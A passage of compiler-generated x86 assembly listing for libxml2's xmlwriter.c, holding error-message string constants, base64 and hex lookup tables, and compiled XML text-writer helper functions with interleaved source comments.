DB 'er entities!', 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0HK@MIJHHHOH@xmlTextWriterWriteDTDExternalEn@
CONST SEGMENT
??_C@_0HK@MIJHHHOH@xmlTextWriterWriteDTDExternalEn@ DB 'xmlTextWriterWrit'
DB 'eDTDExternalEntityContents: you must call xmlTextWriterStartD'
DB 'TDEntity before the call to this function!', 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0EI@DDDMEPLI@xmlTextWriterWriteDTDExternalEn@
CONST SEGMENT
??_C@_0EI@DDDMEPLI@xmlTextWriterWriteDTDExternalEn@ DB 'xmlTextWriterWrit'
DB 'eDTDExternalEntityContents: xmlTextWriterPtr invalid!', 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_02KLLMIGEE@?$CF?5@
CONST SEGMENT
??_C@_02KLLMIGEE@?$CF?5@ DB '% ', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_09POADHIMD@?$DM?$CBENTITY?5@
CONST SEGMENT
??_C@_09POADHIMD@?$DM?$CBENTITY?5@ DB '<!ENTITY ', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0L@NDHICKFH@?$DM?$CBATTLIST?5@
CONST SEGMENT
??_C@_0L@NDHICKFH@?$DM?$CBATTLIST?5@ DB '<!ATTLIST ', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0CP@EGINGCOH@xmlTextWriterStartDTDAttlist?5?3?5@
CONST SEGMENT
??_C@_0CP@EGINGCOH@xmlTextWriterStartDTDAttlist?5?3?5@ DB 'xmlTextWriterS'
DB 'tartDTDAttlist : out of memory!', 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0L@EMLMHHFJ@?$DM?$CBELEMENT?5@
CONST SEGMENT
??_C@_0L@EMLMHHFJ@?$DM?$CBELEMENT?5@ DB '<!ELEMENT ', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0CP@HLOPJJJB@xmlTextWriterStartDTDElement?5?3?5@
CONST SEGMENT
??_C@_0CP@HLOPJJJB@xmlTextWriterStartDTDElement?5?3?5@ DB 'xmlTextWriterS'
DB 'tartDTDElement : out of memory!', 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_02GBLMOEJC@?5?$FL@
CONST SEGMENT
??_C@_02GBLMOEJC@?5?$FL@ DB ' [', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_01LBDDMOBJ@?$FN@
CONST SEGMENT
??_C@_01LBDDMOBJ@?$FN@ DB ']', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_08HBIFNNEL@?6?5?5?5?5?5?5?5@
CONST SEGMENT
??_C@_08HBIFNNEL@?6?5?5?5?5?5?5?5@ DB 0aH, ' ', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_07PBLMPJLL@SYSTEM?5@
CONST SEGMENT
??_C@_07PBLMPJLL@SYSTEM?5@ DB 'SYSTEM ', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_07GAMBALOD@PUBLIC?5@
CONST SEGMENT
??_C@_07GAMBALOD@PUBLIC?5@ DB 'PUBLIC ', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0DD@KKKOOJH@xmlTextWriterStartDTD?5?3?5system?5@
CONST SEGMENT
??_C@_0DD@KKKOOJH@xmlTextWriterStartDTD?5?3?5system?5@ DB 'xmlTextWriterS'
DB 'tartDTD : system identifier needed!', 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0L@JKHDJBPI@?$DM?$CBDOCTYPE?5@
CONST SEGMENT
??_C@_0L@JKHDJBPI@?$DM?$CBDOCTYPE?5@ DB '<!DOCTYPE ', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0CI@CDIDIABN@xmlTextWriterStartDTD?5?3?5out?5of?5@
CONST SEGMENT
??_C@_0CI@CDIDIABN@xmlTextWriterStartDTD?5?3?5out?5of?5@ DB 'xmlTextWrite'
DB 'rStartDTD : out of memory!', 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0DF@KCNCPLNC@xmlTextWriterStartDTD?5?3?5DTD?5all@
CONST SEGMENT
??_C@_0DF@KCNCPLNC@xmlTextWriterStartDTD?5?3?5DTD?5all@ DB 'xmlTextWriter'
DB 'StartDTD : DTD allowed only in prolog!', 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_03MCHNFBAC@?$FN?$FN?$DO@
CONST SEGMENT
??_C@_03MCHNFBAC@?$FN?$FN?$DO@ DB ']]>', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_09BLLNCBLF@?$DM?$CB?$FLCDATA?$FL@
CONST SEGMENT
??_C@_09BLLNCBLF@?$DM?$CB?$FLCDATA?$FL@ DB '<![CDATA[', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0CK@FMBLGDPB@xmlTextWriterStartCDATA?5?3?5out?5o@
CONST SEGMENT
??_C@_0CK@FMBLGDPB@xmlTextWriterStartCDATA?5?3?5out?5o@ DB 'xmlTextWriter'
DB 'StartCDATA : out of memory!', 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0DO@LGFOPFHE@xmlTextWriterStartCDATA?5?3?5CDATA@
CONST SEGMENT
??_C@_0DO@LGFOPFHE@xmlTextWriterStartCDATA?5?3?5CDATA@ DB 'xmlTextWriterS'
DB 'tartCDATA : CDATA not allowed in this context!', 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_02GOEMJPDN@?$DP?$DO@
CONST SEGMENT
??_C@_02GOEMJPDN@?$DP?$DO@ DB '?>', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_02HFBBBACF@?$DM?$DP@
CONST SEGMENT
??_C@_02HFBBBACF@?$DM?$DP@ DB '<?', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0CH@IKGNFAGK@xmlTextWriterStartPI?5?3?5out?5of?5m@
CONST SEGMENT
??_C@_0CH@IKGNFAGK@xmlTextWriterStartPI?5?3?5out?5of?5m@ DB 'xmlTextWrite'
DB 'rStartPI : out of memory!', 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0CD@KBFLMPAO@xmlTextWriterStartPI?5?3?5nested?5P@
CONST SEGMENT
??_C@_0CD@KBFLMPAO@xmlTextWriterStartPI?5?3?5nested?5P@ DB 'xmlTextWriter'
DB 'StartPI : nested PI!', 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0FG@KFBLHCOM@xmlTextWriterStartPI?5?3?5target?5n@
CONST SEGMENT
??_C@_0FG@KFBLHCOM@xmlTextWriterStartPI?5?3?5target?5n@ DB 'xmlTextWriter'
DB 'StartPI : target name [Xx][Mm][Ll] is reserved for xml standa'
DB 'rdization!', 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_03PJHHNEEI@xml@
CONST SEGMENT
??_C@_03PJHHNEEI@xml@ DB 'xml', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0DA@LBMIIMOH@xmlTextWriterStartAttributeNS?5?3@
CONST SEGMENT
??_C@_0DA@LBMIIMOH@xmlTextWriterStartAttributeNS?5?3@ DB 'xmlTextWriterSt'
DB 'artAttributeNS : out of memory!', 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_01NEMOKFLO@?$DN@
CONST SEGMENT
??_C@_01NEMOKFLO@?$DN@ DB '=', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_02PCIJFNDE@?$AN?6@
CONST SEGMENT
??_C@_02PCIJFNDE@?$AN?6@ DB 0dH, 0aH, 00H ; `string'
CONST ENDS
_DATA SEGMENT
?dtable@?1??xmlOutputBufferWriteBase64@@9@9 DB 041H ; `xmlOutputBufferWriteBase64'::`2'::dtable
DB 042H
DB 043H
DB 044H
DB 045H
DB 046H
DB 047H
DB 048H
DB 049H
DB 04aH
DB 04bH
DB 04cH
DB 04dH
DB 04eH
DB 04fH
DB 050H
DB 051H
DB 052H
DB 053H
DB 054H
DB 055H
DB 056H
DB 057H
DB 058H
DB 059H
DB 05aH
DB 061H
DB 062H
DB 063H
DB 064H
DB 065H
DB 066H
DB 067H
DB 068H
DB 069H
DB 06aH
DB 06bH
DB 06cH
DB 06dH
DB 06eH
DB 06fH
DB 070H
DB 071H
DB 072H
DB 073H
DB 074H
DB 075H
DB 076H
DB 077H
DB 078H
DB 079H
DB 07aH
DB 030H
DB 031H
DB 032H
DB 033H
DB 034H
DB 035H
DB 036H
DB 037H
DB 038H
DB 039H
DB 02bH
DB 02fH
?hex@?1??xmlOutputBufferWriteBinHex@@9@9 DB 030H ; `xmlOutputBufferWriteBinHex'::`2'::hex
DB 031H
DB 032H
DB 033H
DB 034H
DB 035H
DB 036H
DB 037H
DB 038H
DB 039H
DB 041H
DB 042H
DB 043H
DB 044H
DB 045H
DB 046H
_DATA ENDS
; COMDAT ??_C@_0CN@MACOIGNG@xmlTextWriterWriteRawLen?5?3?5inva@
CONST SEGMENT
??_C@_0CN@MACOIGNG@xmlTextWriterWriteRawLen?5?3?5inva@ DB 'xmlTextWriterW'
DB 'riteRawLen : invalid content!', 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0CM@KBMCGCHN@xmlTextWriterWriteRawLen?5?3?5inva@
CONST SEGMENT
??_C@_0CM@KBMCGCHN@xmlTextWriterWriteRawLen?5?3?5inva@ DB 'xmlTextWriterW'
DB 'riteRawLen : invalid writer!', 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_02DPNDACHE@?$DM?1@
CONST SEGMENT
??_C@_02DPNDACHE@?$DM?1@ DB '</', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_02HCGKDMEN@?1?$DO@
CONST SEGMENT
??_C@_02HCGKDMEN@?1?$DO@ DB '/>', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_05PPEFOGKI@xmlns@
CONST SEGMENT
??_C@_05PPEFOGKI@xmlns@ DB 'xmlns', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0CO@MGJEFOHO@xmlTextWriterStartElementNS?5?3?5o@
CONST SEGMENT
??_C@_0CO@MGJEFOHO@xmlTextWriterStartElementNS?5?3?5o@ DB 'xmlTextWriterS'
DB 'tartElementNS : out of memory!', 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_01JLIPDDHJ@?3@
CONST SEGMENT
??_C@_01JLIPDDHJ@?3@ DB ':', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_01MNNFJEPP@?$DM@
CONST SEGMENT
??_C@_01MNNFJEPP@?$DM@ DB '<', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0DE@JBFCJMHJ@xmlTextWriterWriteVFormatCommen@
CONST SEGMENT
??_C@_0DE@JBFCJMHJ@xmlTextWriterWriteVFormatCommen@ DB 'xmlTextWriterWrit'
DB 'eVFormatComment : invalid writer!', 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_03PNLDJJMO@?9?9?$DO@
CONST SEGMENT
??_C@_03PNLDJJMO@?9?9?$DO@ DB '-->', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0DI@MAGHMILC@xmlTextWriterEndComment?5?3?5not?5a@
CONST SEGMENT
??_C@_0DI@MAGHMILC@xmlTextWriterEndComment?5?3?5not?5a@ DB 'xmlTextWriter'
DB 'EndComment : not allowed in this context!', 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0CL@GJMJAJAF@xmlTextWriterEndComment?5?3?5inval@
CONST SEGMENT
??_C@_0CL@GJMJAJAF@xmlTextWriterEndComment?5?3?5inval@ DB 'xmlTextWriterE'
DB 'ndComment : invalid writer!', 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_04FFDNBKGC@?$DM?$CB?9?9@
CONST SEGMENT
??_C@_04FFDNBKGC@?$DM?$CB?9?9@ DB '<!--', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0CM@FINCADKE@xmlTextWriterStartElement?5?3?5out@
CONST SEGMENT
??_C@_0CM@FINCADKE@xmlTextWriterStartElement?5?3?5out@ DB 'xmlTextWriterS'
DB 'tartElement : out of memory!', 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_01PPODPGHN@?$DO@
CONST SEGMENT
??_C@_01PPODPGHN@?$DO@ DB '>', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0CN@DOOOICJG@xmlTextWriterStartComment?5?3?5inv@
CONST SEGMENT
??_C@_0CN@DOOOICJG@xmlTextWriterStartComment?5?3?5inv@ DB 'xmlTextWriterS'
DB 'tartComment : invalid writer!', 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_01EEMJAFIK@?6@
CONST SEGMENT
??_C@_01EEMJAFIK@?6@ DB 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0CM@MFAOOHEJ@xmlTextWriterEndDocument?5?3?5inva@
CONST SEGMENT
??_C@_0CM@MFAOOHEJ@xmlTextWriterEndDocument?5?3?5inva@ DB 'xmlTextWriterE'
DB 'ndDocument : invalid writer!', 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_03KCOJOIAE@?$DP?$DO?6@
CONST SEGMENT
??_C@_03KCOJOIAE@?$DP?$DO?6@ DB '?>', 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0N@BGGHLCGN@?5standalone?$DN@
CONST SEGMENT
??_C@_0N@BGGHLCGN@?5standalone?$DN@ DB ' standalone=', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0L@GJNPICMJ@?5encoding?$DN@
CONST SEGMENT
??_C@_0L@GJNPICMJ@?5encoding?$DN@ DB ' encoding=', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0P@CNJADHFP@?$DM?$DPxml?5version?$DN@
CONST SEGMENT
??_C@_0P@CNJADHFP@?$DM?$DPxml?5version?$DN@ DB '<?xml version=', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0CN@ODOCGFDE@xmlTextWriterStartDocument?5?3?5ou@
CONST SEGMENT
??_C@_0CN@ODOCGFDE@xmlTextWriterStartDocument?5?3?5ou@ DB 'xmlTextWriterS'
DB 'tartDocument : out of memory!', 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0DL@JOCNHFIJ@xmlTextWriterStartDocument?5?3?5no@
CONST SEGMENT
??_C@_0DL@JOCNHFIJ@xmlTextWriterStartDocument?5?3?5no@ DB 'xmlTextWriterS'
DB 'tartDocument : not allowed in this context!', 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0CO@KMFPACDM@xmlTextWriterStartDocument?5?3?5in@
CONST SEGMENT
??_C@_0CO@KMFPACDM@xmlTextWriterStartDocument?5?3?5in@ DB 'xmlTextWriterS'
DB 'tartDocument : invalid writer!', 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0CP@PFMBJEMH@xmlNewTextWriterTree?5?3?5invalid?5@
CONST SEGMENT
??_C@_0CP@PFMBJEMH@xmlNewTextWriterTree?5?3?5invalid?5@ DB 'xmlNewTextWri'
DB 'terTree : invalid document tree!', 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0DM@HKPAOPJL@xmlNewTextWriterDoc?5?3?5error?5at?5@
CONST SEGMENT
??_C@_0DM@HKPAOPJL@xmlNewTextWriterDoc?5?3?5error?5at?5@ DB 'xmlNewTextWr'
DB 'iterDoc : error at xmlNewTextWriterPushParser!', 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0CL@MKPGDELP@xmlNewTextWriterDoc?5?3?5error?5at?5@
CONST SEGMENT
??_C@_0CL@MKPGDELP@xmlNewTextWriterDoc?5?3?5error?5at?5@ DB 'xmlNewTextWr'
DB 'iterDoc : error at xmlNewDoc!', 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_03HLLJOCDO@1?40@
CONST SEGMENT
??_C@_03HLLJOCDO@1?40@ DB '1.0', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0DJ@MHFIEMJE@xmlNewTextWriterDoc?5?3?5error?5at?5@
CONST SEGMENT
??_C@_0DJ@MHFIEMJE@xmlNewTextWriterDoc?5?3?5error?5at?5@ DB 'xmlNewTextWr'
DB 'iterDoc : error at xmlCreatePushParserCtxt!', 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0DJ@DOJNHAEH@xmlNewTextWriterPushParser?5?3?5er@
CONST SEGMENT
??_C@_0DJ@DOJNHAEH@xmlNewTextWriterPushParser?5?3?5er@ DB 'xmlNewTextWrit'
DB 'erPushParser : error at xmlNewTextWriter!', 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0EA@BHKIBNFO@xmlNewTextWriterPushParser?5?3?5er@
CONST SEGMENT
??_C@_0EA@BHKIBNFO@xmlNewTextWriterPushParser?5?3?5er@ DB 'xmlNewTextWrit'
DB 'erPushParser : error at xmlOutputBufferCreateIO!', 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0CP@MDJJPOLB@xmlNewTextWriterPushParser?5?3?5in@
CONST SEGMENT
??_C@_0CP@MDJJPOLB@xmlNewTextWriterPushParser?5?3?5in@ DB 'xmlNewTextWrit'
DB 'erPushParser : invalid context!', 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0CJ@HOKLKMGC@xmlNewTextWriterMemory?5?3?5out?5of@
CONST SEGMENT
??_C@_0CJ@HOKLKMGC@xmlNewTextWriterMemory?5?3?5out?5of@ DB 'xmlNewTextWri'
DB 'terMemory : out of memory!', 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0CL@DOKHFPFK@xmlNewTextWriterFilename?5?3?5out?5@
CONST SEGMENT
??_C@_0CL@DOKHFPFK@xmlNewTextWriterFilename?5?3?5out?5@ DB 'xmlNewTextWri'
DB 'terFilename : out of memory!', 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0CM@BPKCIIPG@xmlNewTextWriterFilename?5?3?5cann@
CONST SEGMENT
??_C@_0CM@BPKCIIPG@xmlNewTextWriterFilename?5?3?5cann@ DB 'xmlNewTextWrit'
DB 'erFilename : cannot open uri', 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_01CLKCMJKC@?5@
CONST SEGMENT
??_C@_01CLKCMJKC@?5@ DB ' ', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0CD@BLMOIHCP@xmlNewTextWriter?5?3?5out?5of?5memor@
CONST SEGMENT
??_C@_0CD@BLMOIHCP@xmlNewTextWriter?5?3?5out?5of?5memor@ DB 'xmlNewTextWr'
DB 'iter : out of memory!', 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_02DKCKIIND@?$CFs@
CONST SEGMENT
??_C@_02DKCKIIND@?$CFs@ DB '%s', 00H ; `string'
CONST ENDS
; Function compile flags: /Odt
; COMDAT __JustMyCode_Default
_TEXT SEGMENT
__JustMyCode_Default PROC ; COMDAT
push ebp
mov ebp, esp
pop ebp
ret 0
__JustMyCode_Default ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlOutputBufferWriteBinHex
_TEXT SEGMENT
_out$ = 8 ; size = 4
_len$ = 12 ; size = 4
_data$ = 16 ; size = 4
_xmlOutputBufferWriteBinHex PROC ; COMDAT
; 1674 : {
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov ecx, OFFSET __DA396148_xmlwriter@c
call @__CheckForDebuggerJustMyCode@4
mov ebx, DWORD PTR _out$[ebp]
test ebx, ebx
je SHORT $LN6@xmlOutputB
; 1675 : int count;
; 1676 : int sum;
; 1677 : static char hex[16] =
; 1678 : {'0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F'};
; 1679 : int i;
; 1680 :
; 1681 : if ((out == NULL) || (data == NULL) || (len < 0)) {
mov ecx, DWORD PTR _data$[ebp]
test ecx, ecx
je SHORT $LN6@xmlOutputB
mov eax, DWORD PTR _len$[ebp]
test eax, eax
js SHORT $LN6@xmlOutputB
; 1682 : return -1;
; 1683 : }
; 1684 :
; 1685 : sum = 0;
xor edi, edi
; 1686 : for (i = 0; i < len; i++) {
xor esi, esi
test eax, eax
jle SHORT $LN3@xmlOutputB
npad 3
$LL4@xmlOutputB:
; 1687 : count =
movzx eax, BYTE PTR [esi+ecx]
shr eax, 4
add eax, OFFSET ?hex@?1??xmlOutputBufferWriteBinHex@@9@9
push eax
push 1
push ebx
call _xmlOutputBufferWrite
add esp, 12 ; 0000000cH
; 1688 : xmlOutputBufferWrite(out, 1,
; 1689 : (const char *) &hex[data[i] >> 4]);
; 1690 : if (count == -1)
cmp eax, -1
je SHORT $LN6@xmlOutputB
; 1691 : return -1;
; 1692 : sum += count;
add edi, eax
; 1693 : count =
mov eax, DWORD PTR _data$[ebp]
movzx eax, BYTE PTR [esi+eax]
and eax, 15 ; 0000000fH
add eax, OFFSET ?hex@?1??xmlOutputBufferWriteBinHex@@9@9
push eax
push 1
push ebx
call _xmlOutputBufferWrite
add esp, 12 ; 0000000cH
; 1694 : xmlOutputBufferWrite(out, 1,
; 1695 : (const char *) &hex[data[i] & 0xF]);
; 1696 : if (count == -1)
cmp eax, -1
je SHORT $LN6@xmlOutputB
; 1686 : for (i = 0; i < len; i++) {
mov ecx, DWORD PTR _data$[ebp]
inc esi
; 1697 : return -1;
; 1698 : sum += count;
add edi, eax
cmp esi, DWORD PTR _len$[ebp]
jl SHORT $LL4@xmlOutputB
$LN3@xmlOutputB:
; 1699 : }
; 1700 :
; 1701 : return sum;
mov eax, edi
pop edi
; 1702 : }
pop esi
pop ebx
pop ebp
ret 0
$LN6@xmlOutputB:
pop edi
pop esi
or eax, -1
pop ebx
pop ebp
ret 0
_xmlOutputBufferWriteBinHex ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlWriterErrMsgInt
_TEXT SEGMENT
_ctxt$ = 8 ; size = 4
_error$ = 12 ; size = 4
_msg$ = 16 ; size = 4
_val$ = 20 ; size = 4
_xmlWriterErrMsgInt PROC ; COMDAT
; 159 : {
push ebp
mov ebp, esp
mov ecx, OFFSET __DA396148_xmlwriter@c
call @__CheckForDebuggerJustMyCode@4
mov eax, DWORD PTR _val$[ebp]
push eax
push DWORD PTR _msg$[ebp]
mov ecx, DWORD PTR _ctxt$[ebp]
push 0
push eax
push 0
push 0
push 0
push 0
push 0
push 3
push DWORD PTR _error$[ebp]
push 25 ; 00000019H
push 0
test ecx, ecx
je SHORT $LN2@xmlWriterE
; 166 : XML_ERR_FATAL, NULL, 0, NULL, NULL, NULL, val, 0, msg, val);
; 167 : }
; 168 : }
push DWORD PTR [ecx+32]
push 0
push 0
push 0
call ___xmlRaiseError
add esp, 68 ; 00000044H
pop ebp
ret 0
$LN2@xmlWriterE:
; 160 : if (ctxt != NULL) {
; 161 : __xmlRaiseError(NULL, NULL, NULL, ctxt->ctxt,
; 162 : NULL, XML_FROM_WRITER, error, XML_ERR_FATAL,
; 163 : NULL, 0, NULL, NULL, NULL, val, 0, msg, val);
; 164 : } else {
; 165 : __xmlRaiseError(NULL, NULL, NULL, NULL, NULL, XML_FROM_WRITER, error,
push 0
; 166 : XML_ERR_FATAL, NULL, 0, NULL, NULL, NULL, val, 0, msg, val);
; 167 : }
; 168 : }
push 0
push 0
push 0
call ___xmlRaiseError
add esp, 68 ; 00000044H
pop ebp
ret 0
_xmlWriterErrMsgInt ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlWriterErrMsg
_TEXT SEGMENT
_ctxt$ = 8 ; size = 4
_error$ = 12 ; size = 4
_msg$ = 16 ; size = 4
_xmlWriterErrMsg PROC ; COMDAT
; 136 : {
push ebp
mov ebp, esp
mov ecx, OFFSET __DA396148_xmlwriter@c
call @__CheckForDebuggerJustMyCode@4
push DWORD PTR _msg$[ebp]
mov eax, DWORD PTR _ctxt$[ebp]
push OFFSET ??_C@_02DKCKIIND@?$CFs@
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 3
push DWORD PTR _error$[ebp]
push 25 ; 00000019H
push 0
test eax, eax
je SHORT $LN2@xmlWriterE
; 143 : XML_ERR_FATAL, NULL, 0, NULL, NULL, NULL, 0, 0, "%s", msg);
; 144 : }
; 145 : }
push DWORD PTR [eax+32]
push 0
push 0
push 0
call ___xmlRaiseError
add esp, 68 ; 00000044H
pop ebp
ret 0
$LN2@xmlWriterE:
; 137 : if (ctxt != NULL) {
; 138 : __xmlRaiseError(NULL, NULL, NULL, ctxt->ctxt,
; 139 : NULL, XML_FROM_WRITER, error, XML_ERR_FATAL,
; 140 : NULL, 0, NULL, NULL, NULL, 0, 0, "%s", msg);
; 141 : } else {
; 142 : __xmlRaiseError(NULL, NULL, NULL, NULL, NULL, XML_FROM_WRITER, error,
push 0
; 143 : XML_ERR_FATAL, NULL, 0, NULL, NULL, NULL, 0, 0, "%s", msg);
; 144 : }
; 145 : }
push 0
push 0
push 0
call ___xmlRaiseError
add esp, 68 ; 00000044H
pop ebp
ret 0
_xmlWriterErrMsg ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlTextWriterHandleStateDependencies
_TEXT SEGMENT
_extra$ = -4 ; size = 3
_writer$ = 8 ; size = 4
_p$ = 12 ; size = 4
_xmlTextWriterHandleStateDependencies PROC ; COMDAT
; 4673 : {
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov ecx, OFFSET __DA396148_xmlwriter@c
call @__CheckForDebuggerJustMyCode@4
mov ebx, DWORD PTR _writer$[ebp]
test ebx, ebx
je $LN19@xmlTextWri
; 4674 : int count;
; 4675 : int sum;
; 4676 : char extra[3];
; 4677 :
; 4678 : if (writer == NULL)
; 4679 : return -1;
; 4680 :
; 4681 : if (p == NULL)
mov esi, DWORD PTR _p$[ebp]
test esi, esi
jne SHORT $LN5@xmlTextWri
; 4734 : }
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0
$LN5@xmlTextWri:
; 4682 : return 0;
; 4683 :
; 4684 : sum = 0;
; 4685 : extra[0] = extra[1] = extra[2] = '\0';
; 4686 : if (p != 0) {
; 4687 : sum = 0;
; 4688 : switch (p->state) {
mov eax, DWORD PTR [esi+4]
xor edi, edi
dec eax
mov WORD PTR _extra$[ebp+1], 0
mov BYTE PTR _extra$[ebp], 0
cmp eax, 14 ; 0000000eH
ja SHORT $LN15@xmlTextWri
movzx eax, BYTE PTR $LN20@xmlTextWri[eax]
jmp DWORD PTR $LN23@xmlTextWri[eax*4]
$LN7@xmlTextWri:
; 4689 : case XML_TEXTWRITER_NAME:
; 4690 : /* Output namespace declarations */
; 4691 : count = xmlTextWriterOutputNSDecl(writer);
push ebx
call _xmlTextWriterOutputNSDecl
mov edi, eax
add esp, 4
; 4692 : if (count < 0)
test edi, edi
js SHORT $LN19@xmlTextWri
; 4693 : return -1;
; 4694 : sum += count;
; 4695 : extra[0] = '>';
mov BYTE PTR _extra$[ebp], 62 ; 0000003eH
; 4696 : p->state = XML_TEXTWRITER_TEXT;
mov DWORD PTR [esi+4], 3
; 4697 : break;
jmp SHORT $LN18@xmlTextWri
$LN9@xmlTextWri:
; 4698 : case XML_TEXTWRITER_PI:
; 4699 : extra[0] = ' ';
; 4700 : p->state = XML_TEXTWRITER_PI_TEXT;
mov DWORD PTR [esi+4], 5
; 4701 : break;
jmp SHORT $LN21@xmlTextWri
$LN10@xmlTextWri:
; 4702 : case XML_TEXTWRITER_DTD:
; 4703 : extra[0] = ' ';
mov WORD PTR _extra$[ebp], 23328 ; 00005b20H
; 4704 : extra[1] = '[';
; 4705 : p->state = XML_TEXTWRITER_DTD_TEXT;
mov DWORD PTR [esi+4], 8
; 4706 : break;
jmp SHORT $LN18@xmlTextWri
$LN11@xmlTextWri:
; 4707 : case XML_TEXTWRITER_DTD_ELEM:
; 4708 : extra[0] = ' ';
; 4709 : p->state = XML_TEXTWRITER_DTD_ELEM_TEXT;
mov DWORD PTR [esi+4], 10 ; 0000000aH
; 4710 : break;
jmp SHORT $LN21@xmlTextWri
$LN12@xmlTextWri:
; 4711 : case XML_TEXTWRITER_DTD_ATTL:
; 4712 : extra[0] = ' ';
; 4713 : p->state = XML_TEXTWRITER_DTD_ATTL_TEXT;
mov DWORD PTR [esi+4], 12 ; 0000000cH
; 4714 : break;
jmp SHORT $LN21@xmlTextWri
$LN13@xmlTextWri:
; 4715 : case XML_TEXTWRITER_DTD_ENTY:
; 4716 : case XML_TEXTWRITER_DTD_PENT:
; 4717 : extra[0] = ' ';
; 4718 : extra[1] = writer->qchar;
mov al, BYTE PTR [ebx+28]
mov BYTE PTR _extra$[ebp+1], al
; 4719 : p->state = XML_TEXTWRITER_DTD_ENTY_TEXT;
mov DWORD PTR [esi+4], 14 ; 0000000eH
$LN21@xmlTextWri:
; 4720 : break;
; 4721 : default:
; 4722 : break;
; 4723 : }
; 4724 : }
; 4725 :
; 4726 : if (*extra != '\0') {
; 4727 : count = xmlOutputBufferWriteString(writer->out, extra);
mov BYTE PTR _extra$[ebp], 32 ; 00000020H
$LN18@xmlTextWri:
lea eax, DWORD PTR _extra$[ebp]
push eax
push DWORD PTR [ebx]
call _xmlOutputBufferWriteString
add esp, 8
; 4728 : if (count < 0)
test eax, eax
js SHORT $LN19@xmlTextWri
; 4729 : return -1;
; 4730 : sum += count;
add edi, eax
$LN15@xmlTextWri:
; 4731 : }
; 4732 :
